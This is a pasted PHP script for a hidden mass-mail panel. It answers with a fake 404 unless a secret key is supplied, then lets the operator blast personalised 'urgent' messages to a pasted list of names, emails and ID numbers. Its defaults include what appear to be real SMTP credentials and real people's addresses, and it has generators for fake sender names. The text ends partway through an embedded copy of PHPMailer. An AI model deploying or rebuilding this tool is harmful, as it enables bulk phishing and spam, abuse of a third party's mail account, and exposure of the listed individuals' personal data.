· 6 years ago · Nov 26, 2019, 11:04 PM
1<?php
2$pass_md5 = "8b00d07deaa9ffc877c9d936fbaabbe0";//jode
3error_reporting(0);
4//include_once(dirname(__FILE__) . '/class.phpmailer.php');
5//?clave=jodido2008&smtp_get=ok&smtp_username=&smtp_password=&ssl_port=&my_smtp=
6
7function query_str($params){
8 $str = '';
9 foreach ($params as $key => $value) {
10 $str .= (strlen($str) < 1) ? '' : '&';
11 $str .= $key . '=' . rawurlencode($value);
12 }
13 return ($str);
14}
15function lrtrim($string){
16 return stripslashes(ltrim(rtrim($string)));
17}
18
19
20$b = query_str($_POST);
21 parse_str($b);
22
23
24$from = (isset($txtfrom)) ? lrtrim($txtfrom) : "boletin@econexpresscargo.com";
25$realname = (isset($txtrealname)) ? lrtrim($txtrealname) : "Envio de prueba";
26$replyto = (isset($txtreplyto)) ? lrtrim($txtreplyto) : "boletin@econexpresscargo.com";
27$epriority = (isset($epriority)) ? lrtrim($epriority) : "NULL";
28$CharSet = (isset($CharSet)) ? lrtrim($CharSet) : "NULL";
29$Encoding = (isset($Encoding)) ? lrtrim($Encoding) : "NULL";
30$clave = (isset($_GET['clave'])) ? lrtrim($_GET['clave']) : "NULL";
31
32
33$subject = (isset($txtsubject)) ? stripslashes(lrtrim($txtsubject)) : "Urgente Sr(a) {NOMBRE}";
34$emaillist = (isset($txtemaillist)) ? lrtrim($txtemaillist) : "Daniel Carrillo Juan jesus,logos1422@gmail.com,456234\nMartin Gregorio tapias,opzzz-@hotmail.com,02125432";
35$contenttype= (isset($contenttype)) ? lrtrim($contenttype): "NULL";
36$message = (isset($txtmessage)) ? lrtrim($txtmessage) : "<h3><center>Envio de prueba name -> <b> {NOMBRE} </b> md5 -> <b> {ANTIPISHIN} </b>rut -> {CEDULA} </center></h3>";
37$action = (isset($action)) ? lrtrim($action) : NULL;
38$message = urlencode($message);
39$message = preg_replace("/%5C%22/", "%22", $message);
40$message = urldecode($message);
41$message = stripslashes($message);
42
43$tema = (isset($tema)) ? lrtrim($tema) : "NULL";
44
45
46
47if(isset($_GET['smtp_get']) and $_GET['smtp_get'] == "ok"){
48
49 $smtp_username = (isset($_GET['smtp_username'])) ? urldecode($_GET['smtp_username']) : "econcargoecuador";
50 $smtp_password = (isset($_GET['smtp_password'])) ? urldecode($_GET['smtp_password']) : "mdjb2013$";
51 $ssl_port = (isset($_GET['ssl_port'])) ? urldecode($_GET['ssl_port']) : "";
52 $my_smtp = (isset($_GET['my_smtp'])) ? urldecode($_GET['my_smtp']) : "smtp.sendgrid.net";
53
54
55}else{
56 $smtp_username = (isset($smtp_username)) ? lrtrim($smtp_username) : "econcargoecuador";
57 $smtp_password = (isset($smtp_password)) ? lrtrim($smtp_password) : "mdjb2013$";
58 $ssl_port = (isset($ssl_port)) ? lrtrim($ssl_port) : "";
59 $my_smtp = (isset($my_smtp)) ? lrtrim($my_smtp) : "smtp.sendgrid.net";
60
61
62}
63
64
65$sslclick = (isset($_GET['sslclick'])) ? lrtrim($_GET['sslclick']) : "NULL";
66$reconnect = (isset($_GET['reconnect'])) ? lrtrim($reconnect) : "NULL";
67
68
69
70
71
72
73$reconnect = (isset($reconnect)) ? lrtrim($reconnect) : "NULL";
74
75
76$ejecutar = (isset($ejecutar)) ? lrtrim($ejecutar) : "DDD";
77
78
79
80if($pass_md5 != md5($clave)){
81 header('HTTP/1.0 404 Not Found');
82 die();
83}
84?>
85<html>
86<head>
87 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
88 <title>Suerte !! </title>
89 <style type="text/css">
90 <!--
91 .style1 {
92 font-family: Geneva, Arial, Helvetica, sans-serif;
93 font-size: 12px;
94 }
95 -->
96 </style>
97 <style type="text/css">
98 <!--
99 .style1 {
100 font-size: 10px;
101 font-family: Geneva, Arial, Helvetica, sans-serif;
102 }
103
104 input[type="text"] {
105 display: block;
106 margin: 0;
107 width: 75%;
108 font-family: sans-serif;
109 font-size: 12px;
110 appearance: none;
111 box-shadow: none;
112 border-radius: none;
113 }
114 input[type="text"]:focus {
115 outline: none;
116 }
117
118
119 -->
120 </style>
121
122 <script type="text/javascript">
123 <!--
124 function mostrarReferencia(){
125 if (document.form1.tema.checked == true) {
126 document.getElementById('OtroTema').style.display='block';
127 } else {
128 document.getElementById('OtroTema').style.display='none';
129 }
130 }
131 -->
132 </script>
133</head>
134<body bgcolor="#FFFFFF" text="#000000" align="center">
135
136
137
138<form name="form1" method="post" action="" enctype="multipart/form-data">
139<table width="90%" border="0" align="center">
140 <tr>
141 <td width="100%" colspan="4" bgcolor="#666666" height="36"><b><font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP <input onclick="mostrarReferencia();" type="checkbox" name="tema" <?php /*if ($tema == "on" ) echo 'checked' ;*/ ?> /></font></b></td>
142 </tr>
143</table>
144
145<div id="OtroTema" style="display:none;">
146<table width="90%" border="0" align="center">
147
148 <tr>
149 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div></td>
150 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input type="text" name="smtp_username" value="<?php echo $smtp_username;?>" size="30"></font></td>
151 <td width="31%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div></td>
152 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input type="password" name="smtp_password" value="<?php echo $smtp_password;?>" size="30"></font></td>
153 </tr>
154 <tr>
155 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div></td>
156 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input type="text" name="ssl_port" value="<?php echo $ssl_port;?>" size="5"> (optional)</font></td>
157 <td width="31%" height="22" bgcolor="#E8E8E8"><div align="right"><font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Servidor Smtp:</font></div></td>
158 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input type="text" name="my_smtp" value="<?php echo $my_smtp;?>" size="30"></font></td>
159 </tr>
160 <tr>
161 <td width="10%" height="22" bgcolor="#E8E8E8"><p align="right"><font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
162 <td width="18%" height="22" bgcolor="#E8E8E8"><input type="checkbox" name="sslclick" value="ON" <?php if ($sslclick == "ON" ) echo 'checked' ; ?>><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
163 <td width="31%" height="22" bgcolor="#E8E8E8"><p align="right"><font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect After:</font></td>
164 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input type="text" name="reconnect" value="" size="5"> EMAILS</font></td>
165 </tr>
166 <tr>
167 <td width="10%" height="22" bgcolor="#E8E8E8"><p align="right"><font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Debbugear:</font></td>
168 <td width="18%" height="22" bgcolor="#E8E8E8"><select name="debugeo" id="listMethod" onchange="showHideListConfig()">
169 <option value="0" <?php if ($debugeo == "0" ) echo 'selected' ; ?> >- No Debugear -</option>
170 <option value="1" <?php if ($debugeo == 1 ) echo 'selected' ; ?> >Errores y mensajes</option>
171 <option value="2" <?php if ($debugeo == 2 ) echo 'selected' ; ?> >Solo mensajes</option>
172 </select>
173 </td>
174 <td width="31%" height="22" bgcolor="#E8E8E8"></td>
175 <td width="41%" height="22" bgcolor="#E8E8E8"></td>
176 </tr>
177 <tr>
178 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4"><p align="center"><font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If you dont have SMTP login, leave blank queries above <b>"</b></font></td>
179 </tr>
180 <tr>
181 <td width="10%" height="19"> </td>
182 <td width="18%" height="19"> </td>
183 <td width="31%" height="19"> </td>
184 <td width="41%" height="19"> </td>
185 </tr>
186</table>
187</div>
188
189
190<table width="90%" border="0" align="center">
191 <tr>
192 <td colspan="4" bgcolor="#666666" height="36"><b><font face="Arial" size="2" color="#FFFFFF"> Envio de Emails Automatizado</font></b></td>
193 </tr>
194 <tr>
195 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Tu Correo : </font></div></td>
196 <td width="18%" height="22" bgcolor="#E8E8E8"><input type="text" name="txtfrom" value="<?php echo $from;?>" size="40"></td>
197 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Tu Nombre : </font></div></td>
198 <td width="18%" height="22" bgcolor="#E8E8E8"><input type="text" name="txtrealname" value="<?php echo $realname;?>" size="40"></td>
199
200 </tr>
201 <tr>
202 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To : </font></div></td>
203 <td width="10%" height="22" bgcolor="#E8E8E8"><input type="text" name="txtreplyto" value="<?php echo $replyto;?>" size="40"></td>
204 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Prioridad : </font></div></td>
205 <td width="10%" height="22" bgcolor="#E8E8E8"><select name="epriority" id="listMethod" onchange="showHideListConfig()">
206 <option value="" <?php if ($epriority == "NULL" ) echo 'selected' ; ?> >- Prioridad de Envio -</option>
207 <option value="1" <?php if ($epriority == 1 ) echo 'selected' ; ?> >Sin Apuros</option>
208 <option value="3" <?php if ($epriority == 3 ) echo 'selected' ; ?> >Normal</option>
209 <option value="5" <?php if ($epriority == 5 ) echo 'selected' ; ?> >Urgente</option>
210 </select>
211 </td>
212
213
214 </tr>
215 <tr>
216 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Asunto : </font></div></td>
217 <td width="10%" height="22" bgcolor="#E8E8E8" colspan="3"><input type="text" name="txtsubject" value="<?php echo $subject;?>" size="60"></td>
218 </tr>
219 <tr>
220 <td height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><textarea name="txtmessage" cols="45" rows="12"><?php echo $message;?></textarea></td>
221 <td height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colspan="3"><textarea name="txtemaillist" cols="90" rows="12"><?php echo $emaillist;?></textarea></td>
222 </tr>
223 <tr>
224 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">CharSet : </font></div></td>
225 <td width="10%" height="22" bgcolor="#E8E8E8"><select name="CharSet" id="CharSet">
226 <option value="" <?php if ($CharSet == "NULL" ) echo 'selected' ; ?> >- Tipo de Charset -</option>
227 <option value="1" <?php if ($CharSet == 1 ) echo 'selected' ; ?> >utf-8</option>
228 <option value="2" <?php if ($CharSet == 2 ) echo 'selected' ; ?> >iso-8859-2</option>
229
230 </select>
231 </td>
232 <td width="10%" height="22" bgcolor="#E8E8E8"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Mensage : </font></div></td>
233 <td width="10%" height="22" bgcolor="#E8E8E8"><select name="Encoding" id="Encoding">
234 <option value="" <?php if ($Encoding == "NULL" ) echo 'selected' ; ?> >- Tipo de Encoding -</option>
235 <option value="1" <?php if ($Encoding == 1 ) echo 'selected' ; ?> >8bit</option>
236 <option value="2" <?php if ($Encoding == 2 ) echo 'selected' ; ?> >7bit</option>
237 <option value="3" <?php if ($Encoding == 3 ) echo 'selected' ; ?> >binary</option>
238 <option value="4" <?php if ($Encoding == 4 ) echo 'selected' ; ?> >base64</option>
239 <option value="5" <?php if ($Encoding == 5 ) echo 'selected' ; ?> >quoted-printable</option>
240 </select>
241 </td>
242
243 </tr>
244 <tr>
245 <td width="10%" height="22" bgcolor="#E8E8E8" colspan="4">
246 <p>
247 <input type="radio" name="contenttype" value="plain" <?php if ($contenttype == "plain" ) echo 'checked' ; ?>><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Plain</font>
248 <input type="radio" name="contenttype" value="html" <?php if ($contenttype == "NULL" or $contenttype == "html") echo 'checked' ; ?>><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">HTML</font>
249 <input type="hidden" name="action" value="send">
250 </p>
251 </td>
252 </tr>
253 <tr>
254 <td width="10%" height="45" bgcolor="#E8E8E8" colspan="4"><center><input type="submit" id="send" value="Send Message" style="width: 150px"></center></td>
255 </tr>
256</form>
257</table>
258<?php
259if ($action){
260
261
262
263
264
265
266
267
268
269if (!$from && !$subject && !$message && !$emaillist){
270 print "<script>alert('Please complete all fields before sending your message.'); </script>";
271 die();
272}
273
274function encrypt($string, $key) {
275 $result = '';
276 for($i=0; $i<strlen($string); $i++) {
277 $char = substr($string, $i, 1);
278 $keychar = substr($key, ($i % strlen($key))-1, 1);
279 $char = chr(ord($char)+ord($keychar));
280 $result.=$char;
281 }
282 return base64_encode($result);
283}
284
285$portdefauld = "#%&'0929_1*+";
286$defaultport="H*";
287$nq=0;
288function array_random($arr, $num = 1) {
289 shuffle($arr);
290
291 $r = array();
292 for ($i = 0; $i < $num; $i++) {
293 $r[] = $arr[$i];
294 }
295 return $num == 1 ? $r[0] : $r;
296}
297function nombre($type="NC"){
298 $nombre = array("Miguel", "Fernando", "Jose", "Eduardo", "Oscar", "Carlos", "Juan", "Alexis", "Omar", "Cristofer", "Jesus", "Alan", "Moises", "Belen", "Rosa", "Juana", "Victoria", "Sonia", "Mercedes", "Amelia", "Dayana", "Xiomara", "Lucero");
299 $apellido = array("Carrasco", "Cernaque", "Castro", "Reyes", "Farfan", "Chamuchunbi", "Castro", "Aguilar", "Bendezu", "Alvarado", "Atoche", "Bragas", "Espinoza", "Altamirano", "Lavado", "Pecasa", "Pino", "Bustamante", "Benavides", "Medina", "Mendoza", "Tarazona", "Glorio", "Moron");
300 $empresas = array("movistar","claro","entel","bitel","nextel");
301 switch ($type) {
302 case 'N':
303 $Salida = array_random($nombre) . array_random($apellido);
304 break;
305 case 'NC':
306 $Salida = array_random($nombre) . " " . array_random($nombre) ." ". array_random($apellido) ." ". array_random($apellido);
307 break;
308 case 'C':
309 $Salida = array_random($empresas);
310 break;
311 default:
312 return null;
313 }
314
315 return $Salida;
316}
317function randon($length=40, $type='all2') {
318 $lower = 'abcdefghijklmnopqrstuvwxy';
319 $numbers = '1234567890';
320
321 switch ($type) {
322 case 'L':
323 $chars = $lower;
324 break;
325 case 'LM':
326 $chars = strtoupper($lower);
327 break;
328 case 'N':
329 $chars = $numbers;
330 break;
331 case 'LN':
332 $chars = $lower . $upper;
333 break;
334
335 case 'NO':
336 rarray_rand($entrada, 1);
337 break;
338
339 case 'NOAPE':
340 $chars = $lower . $upper;
341 break;
342
343 default:
344 return null;
345 }
346
347 $min = 0;
348 $max = strlen($chars) - 1;
349 $password = '';
350
351 for ($i = 0; $i < $length; $i++) {
352 $random = mt_rand($min, $max);
353 $char = substr($chars, $random, 1);
354 $password .= $char;
355 }
356 return $password;
357}
358
359$allemails = explode("\n", $emaillist);
360$numemails = count($allemails);
361
362/**
363 * PHPMailer - PHP email creation and transport class.
364 * PHP Version 5
365 * @package PHPMailer
366 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
367 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
368 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
369 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
370 * @author Brent R. Matzelle (original founder)
371 * @copyright 2012 - 2014 Marcus Bointon
372 * @copyright 2010 - 2012 Jim Jagielski
373 * @copyright 2004 - 2009 Andy Prevost
374 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
375 * @note This program is distributed in the hope that it will be useful - WITHOUT
376 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
377 * FITNESS FOR A PARTICULAR PURPOSE.
378 */
379/**
380 * PHPMailer - PHP email creation and transport class.
381 * @package PHPMailer
382 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
383 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
384 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
385 * @author Brent R. Matzelle (original founder)
386 */
387class Random{
388 public static function Numeric($length)
389 {
390 $chars = "1234567890";
391 $clen = strlen( $chars )-1;
392 $id = '';
393
394 for ($i = 0; $i < $length; $i++) {
395 $id .= $chars[mt_rand(0,$clen)];
396 }
397 return ($id);
398 }
399
400 public static function Alphabets($length)
401 {
402 $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
403 $clen = strlen( $chars )-1;
404 $id = '';
405
406 for ($i = 0; $i < $length; $i++) {
407 $id .= $chars[mt_rand(0,$clen)];
408 }
409 return ($id);
410 }
411
412 public static function AlphaNumeric($length)
413 {
414 $chars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
415 $clen = strlen( $chars )-1;
416 $id = '';
417
418 for ($i = 0; $i < $length; $i++) {
419 $id .= $chars[mt_rand(0,$clen)];
420 }
421 return ($id);
422 }
423}
424class PHPMailer
425{
426 /**
427 * The PHPMailer Version number.
428 * @var string
429 */
430 public $Version = '5.2.22';
431 /**
432 * Email priority.
433 * Options: null (default), 1 = High, 3 = Normal, 5 = low.
434 * When null, the header is not set at all.
435 * @var integer
436 */
437 public $Priority = null;
438 /**
439 * The character set of the message.
440 * @var string
441 */
442 public $CharSet = 'iso-8859-1';
443 /**
444 * The MIME Content-type of the message.
445 * @var string
446 */
447 public $ContentType = 'text/plain';
448 /**
449 * The message encoding.
450 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
451 * @var string
452 */
453 public $Encoding = '8bit';
454 /**
455 * Holds the most recent mailer error message.
456 * @var string
457 */
458 public $ErrorInfo = '';
459 /**
460 * The From email address for the message.
461 * @var string
462 */
463 public $From = 'root@localhost';
464 /**
465 * The From name of the message.
466 * @var string
467 */
468 public $FromName = 'Root User';
469 /**
470 * The Sender email (Return-Path) of the message.
471 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
472 * @var string
473 */
474 public $Sender = '';
475 /**
476 * The Return-Path of the message.
477 * If empty, it will be set to either From or Sender.
478 * @var string
479 * @deprecated Email senders should never set a return-path header;
480 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
481 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
482 */
483 public $ReturnPath = '';
484 /**
485 * The Subject of the message.
486 * @var string
487 */
488 public $Subject = '';
489 /**
490 * An HTML or plain text message body.
491 * If HTML then call isHTML(true).
492 * @var string
493 */
494 public $Body = '';
495 /**
496 * The plain-text message body.
497 * This body can be read by mail clients that do not have HTML email
498 * capability such as mutt & Eudora.
499 * Clients that can read HTML will view the normal Body.
500 * @var string
501 */
502 public $AltBody = '';
503 /**
504 * An iCal message part body.
505 * Only supported in simple alt or alt_inline message types
506 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
507 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
508 * @link http://kigkonsult.se/iCalcreator/
509 * @var string
510 */
511 public $Ical = '';
512 /**
513 * The complete compiled MIME message body.
514 * @access protected
515 * @var string
516 */
517 protected $MIMEBody = '';
518 /**
519 * The complete compiled MIME message headers.
520 * @var string
521 * @access protected
522 */
523 protected $MIMEHeader = '';
524 /**
525 * Extra headers that createHeader() doesn't fold in.
526 * @var string
527 * @access protected
528 */
529 protected $mailHeader = '';
530 /**
531 * Word-wrap the message body to this number of chars.
532 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
533 * @var integer
534 */
535 public $WordWrap = 0;
536 /**
537 * Which method to use to send mail.
538 * Options: "mail", "sendmail", or "smtp".
539 * @var string
540 */
541 public $Mailer = 'mail';
542 /**
543 * The path to the sendmail program.
544 * @var string
545 */
546 public $Sendmail = '/usr/sbin/sendmail';
547 /**
548 * Whether mail() uses a fully sendmail-compatible MTA.
549 * One which supports sendmail's "-oi -f" options.
550 * @var boolean
551 */
552 public $UseSendmailOptions = true;
553 /**
554 * Path to PHPMailer plugins.
555 * Useful if the SMTP class is not in the PHP include path.
556 * @var string
557 * @deprecated Should not be needed now there is an autoloader.
558 */
559 public $PluginDir = '';
560 /**
561 * The email address that a reading confirmation should be sent to, also known as read receipt.
562 * @var string
563 */
564 public $ConfirmReadingTo = '';
565 /**
566 * The hostname to use in the Message-ID header and as default HELO string.
567 * If empty, PHPMailer attempts to find one with, in order,
568 * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
569 * 'localhost.localdomain'.
570 * @var string
571 */
572 public $Hostname = '';
573 /**
574 * An ID to be used in the Message-ID header.
575 * If empty, a unique id will be generated.
576 * You can set your own, but it must be in the format "<id@domain>",
577 * as defined in RFC5322 section 3.6.4 or it will be ignored.
578 * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
579 * @var string
580 */
581 public $MessageID = '';
582 /**
583 * The message Date to be used in the Date header.
584 * If empty, the current date will be added.
585 * @var string
586 */
587 public $MessageDate = '';
588 /**
589 * SMTP hosts.
590 * Either a single hostname or multiple semicolon-delimited hostnames.
591 * You can also specify a different port
592 * for each host by using this format: [hostname:port]
593 * (e.g. "smtp1.example.com:25;smtp2.example.com").
594 * You can also specify encryption type, for example:
595 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
596 * Hosts will be tried in order.
597 * @var string
598 */
599 public $Host = 'localhost';
600 /**
601 * The default SMTP server port.
602 * @var integer
603 * @TODO Why is this needed when the SMTP class takes care of it?
604 */
605 public $Port = 25;
606 /**
607 * The SMTP HELO of the message.
608 * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
609 * one with the same method described above for $Hostname.
610 * @var string
611 * @see PHPMailer::$Hostname
612 */
613 public $Helo = '';
614 /**
615 * What kind of encryption to use on the SMTP connection.
616 * Options: '', 'ssl' or 'tls'
617 * @var string
618 */
619 public $SMTPSecure = '';
620 /**
621 * Whether to enable TLS encryption automatically if a server supports it,
622 * even if `SMTPSecure` is not set to 'tls'.
623 * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
624 * @var boolean
625 */
626 public $SMTPAutoTLS = true;
627 /**
628 * Whether to use SMTP authentication.
629 * Uses the Username and Password properties.
630 * @var boolean
631 * @see PHPMailer::$Username
632 * @see PHPMailer::$Password
633 */
634 public $SMTPAuth = false;
635 /**
636 * Options array passed to stream_context_create when connecting via SMTP.
637 * @var array
638 */
639 public $SMTPOptions = array();
640 /**
641 * SMTP username.
642 * @var string
643 */
644 public $Username = '';
645 /**
646 * SMTP password.
647 * @var string
648 */
649 public $Password = '';
650 /**
651 * SMTP auth type.
652 * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
653 * @var string
654 */
655 public $AuthType = '';
656 /**
657 * SMTP realm.
658 * Used for NTLM auth
659 * @var string
660 */
661 public $Realm = '';
662 /**
663 * SMTP workstation.
664 * Used for NTLM auth
665 * @var string
666 */
667 public $Workstation = '';
668 /**
669 * The SMTP server timeout in seconds.
670 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
671 * @var integer
672 */
673 public $Timeout = 300;
674 /**
675 * SMTP class debug output mode.
676 * Debug output level.
677 * Options:
678 * * `0` No output
679 * * `1` Commands
680 * * `2` Data and commands
681 * * `3` As 2 plus connection status
682 * * `4` Low-level data output
683 * @var integer
684 * @see SMTP::$do_debug
685 */
686 public $SMTPDebug = 0;
687 /**
688 * How to handle debug output.
689 * Options:
690 * * `echo` Output plain-text as-is, appropriate for CLI
691 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
692 * * `error_log` Output to error log as configured in php.ini
693 *
694 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
695 * <code>
696 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
697 * </code>
698 * @var string|callable
699 * @see SMTP::$Debugoutput
700 */
701 public $Debugoutput = 'echo';
702 /**
703 * Whether to keep SMTP connection open after each message.
704 * If this is set to true then to close the connection
705 * requires an explicit call to smtpClose().
706 * @var boolean
707 */
708 public $SMTPKeepAlive = false;
709 /**
710 * Whether to split multiple to addresses into multiple messages
711 * or send them all in one message.
712 * Only supported in `mail` and `sendmail` transports, not in SMTP.
713 * @var boolean
714 */
715 public $SingleTo = false;
716 /**
717 * Storage for addresses when SingleTo is enabled.
718 * @var array
719 * @TODO This should really not be public
720 */
721 public $SingleToArray = array();
722 /**
723 * Whether to generate VERP addresses on send.
724 * Only applicable when sending via SMTP.
725 * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
726 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
727 * @var boolean
728 */
729 public $do_verp = false;
730 /**
731 * Whether to allow sending messages with an empty body.
732 * @var boolean
733 */
734 public $AllowEmpty = false;
735 /**
736 * The default line ending.
737 * @note The default remains "\n". We force CRLF where we know
738 * it must be used via self::CRLF.
739 * @var string
740 */
741 public $LE = "\n";
742 /**
743 * DKIM selector.
744 * @var string
745 */
746 public $DKIM_selector = '';
747 /**
748 * DKIM Identity.
749 * Usually the email address used as the source of the email.
750 * @var string
751 */
752 public $DKIM_identity = '';
753 /**
754 * DKIM passphrase.
755 * Used if your key is encrypted.
756 * @var string
757 */
758 public $DKIM_passphrase = '';
759 /**
760 * DKIM signing domain name.
761 * @example 'example.com'
762 * @var string
763 */
764 public $DKIM_domain = '';
765 /**
766 * DKIM private key file path.
767 * @var string
768 */
769 public $DKIM_private = '';
770 /**
771 * DKIM private key string.
772 * If set, takes precedence over `$DKIM_private`.
773 * @var string
774 */
775 public $DKIM_private_string = '';
776 /**
777 * Callback Action function name.
778 *
779 * The function that handles the result of the send email action.
780 * It is called out by send() for each email sent.
781 *
782 * Value can be any php callable: http://www.php.net/is_callable
783 *
784 * Parameters:
785 * boolean $result result of the send action
786 * string $to email address of the recipient
787 * string $cc cc email addresses
788 * string $bcc bcc email addresses
789 * string $subject the subject
790 * string $body the email body
791 * string $from email address of sender
792 * @var string
793 */
794 public $action_function = '';
795 /**
796 * What to put in the X-Mailer header.
797 * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
798 * @var string
799 */
800 public $XMailer = '';
801 /**
802 * Which validator to use by default when validating email addresses.
803 * May be a callable to inject your own validator, but there are several built-in validators.
804 * @see PHPMailer::validateAddress()
805 * @var string|callable
806 * @static
807 */
808 public static $validator = 'auto';
809 /**
810 * An instance of the SMTP sender class.
811 * @var SMTP
812 * @access protected
813 */
814 protected $smtp = null;
815 /**
816 * The array of 'to' names and addresses.
817 * @var array
818 * @access protected
819 */
820 protected $to = array();
821 /**
822 * The array of 'cc' names and addresses.
823 * @var array
824 * @access protected
825 */
826 protected $cc = array();
827 /**
828 * The array of 'bcc' names and addresses.
829 * @var array
830 * @access protected
831 */
832 protected $bcc = array();
833 /**
834 * The array of reply-to names and addresses.
835 * @var array
836 * @access protected
837 */
838 protected $ReplyTo = array();
839 /**
840 * An array of all kinds of addresses.
841 * Includes all of $to, $cc, $bcc
842 * @var array
843 * @access protected
844 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
845 */
846 protected $all_recipients = array();
847 /**
848 * An array of names and addresses queued for validation.
849 * In send(), valid and non duplicate entries are moved to $all_recipients
850 * and one of $to, $cc, or $bcc.
851 * This array is used only for addresses with IDN.
852 * @var array
853 * @access protected
854 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
855 * @see PHPMailer::$all_recipients
856 */
857 protected $RecipientsQueue = array();
858 /**
859 * An array of reply-to names and addresses queued for validation.
860 * In send(), valid and non duplicate entries are moved to $ReplyTo.
861 * This array is used only for addresses with IDN.
862 * @var array
863 * @access protected
864 * @see PHPMailer::$ReplyTo
865 */
866 protected $ReplyToQueue = array();
867 /**
868 * The array of attachments.
869 * @var array
870 * @access protected
871 */
872 protected $attachment = array();
873 /**
874 * The array of custom headers.
875 * @var array
876 * @access protected
877 */
878 protected $CustomHeader = array();
879 /**
880 * The most recent Message-ID (including angular brackets).
881 * @var string
882 * @access protected
883 */
884 protected $lastMessageID = '';
885 /**
886 * The message's MIME type.
887 * @var string
888 * @access protected
889 */
890 protected $message_type = '';
891 /**
892 * The array of MIME boundary strings.
893 * @var array
894 * @access protected
895 */
896 protected $boundary = array();
897 /**
898 * The array of available languages.
899 * @var array
900 * @access protected
901 */
902 protected $language = array();
903 /**
904 * The number of errors encountered.
905 * @var integer
906 * @access protected
907 */
908 protected $error_count = 0;
909 /**
910 * The S/MIME certificate file path.
911 * @var string
912 * @access protected
913 */
914 protected $sign_cert_file = '';
915 /**
916 * The S/MIME key file path.
917 * @var string
918 * @access protected
919 */
920 protected $sign_key_file = '';
921 /**
922 * The optional S/MIME extra certificates ("CA Chain") file path.
923 * @var string
924 * @access protected
925 */
926 protected $sign_extracerts_file = '';
927 /**
928 * The S/MIME password for the key.
929 * Used only if the key is encrypted.
930 * @var string
931 * @access protected
932 */
933 protected $sign_key_pass = '';
934 /**
935 * Whether to throw exceptions for errors.
936 * @var boolean
937 * @access protected
938 */
939 protected $exceptions = false;
940 /**
941 * Unique ID used for message ID and boundaries.
942 * @var string
943 * @access protected
944 */
945 protected $uniqueid = '';
946 /**
